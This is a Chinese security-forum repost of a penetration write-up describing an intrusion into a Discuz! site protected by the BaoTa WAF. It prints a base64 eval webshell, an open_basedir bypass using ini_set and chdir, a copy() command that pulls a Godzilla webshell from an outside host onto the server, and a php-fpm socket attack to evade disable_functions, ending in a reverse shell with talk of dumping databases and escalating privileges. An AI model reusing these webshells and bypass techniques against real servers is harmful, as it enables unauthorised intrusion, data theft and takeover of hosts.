安全矩阵

 找回密码
 立即注册
搜索
查看: 2910|回复: 0

一次利用哥斯拉绕过宝塔WAF及disable_functions

[复制链接]

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
发表于 2022-5-1 02:21:01 | 显示全部楼层 |阅读模式

文章来源:先知社区(鼹鼠Yanshu)

0x01 前言

这次渗透的主站是一个Discuz!3.4的搭建法招piao网站, 配置有宝塔WAF


用Discuz!ML 3.X的漏洞进行攻击,但是没有成功


发现主站外链会有一个发卡网,引导人们来这充值,是 某某发卡网,而且域名指向也是主站的ip,两个网站在同一个 ,此处忘记截图了
网上有通杀Payload,写shell的过程在这里省略了



由于网站存在宝塔WAF ,写入Shell必须变形一下,将命令进行base64编码在传进去
  1. <?php @eval(base64_decode($_POST['yanshu']));?>
复制代码



在phpinfo()里可以看到,宝塔默认会设置open_basedir以及disable_functions,导致蚁剑的shell直接连接之后不大好用,命令执行不了

0x02 绕过open_basedir查看文件

利用ini_set()来Bypass open_basedir来获取路径名和目录内容,Base64编码之后执行,发现宝塔目录下还有其他站点目录
  1. eval("mkdir('1');chdir('1');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/www/wwwroot'));");
复制代码



0x03 哥斯拉管理webshell

为了方便查看文件 ,使用哥斯拉马,加密器选择PHP_EVAL_XOR_BASE64,用copy命令传到服务器中,这样流量就可以不会被宝塔waf拦截了

  1. copy('http://xxxx/g.php','/www/wwwroot/xxx.com/g.php');
复制代码



哥斯拉马可以自动实现Bypass open_basedir,读取数据库用户名密码,可以更改管理员用户进后台或者脱库





0x04 绕过disable_functions执行命令

disable_functions禁用putenv()、mail() 、pcntl_exec()等函数,环境是php5.6,导致很多常规bypass的方法都用不了



网站是使用nginx+php5.6,用攻击php-fpm的办法来bypass,攻击原理可以看参考链接,先找到php-fpm的配置 如:/www/server/php/56/etc/php-fpm.conf或者看nginx的配置 ,得到php-fpm的位置unix:/tmp/php-cgi-56.sock


首先选择PAttackFPM将模块加载并执行


再利用哥斯拉马中bypass disable_functions的模块 ,成功执行命令


获取反弹Shell,可以进一步尝试对主机进行提权了



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 08:56 , Processed in 0.013133 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表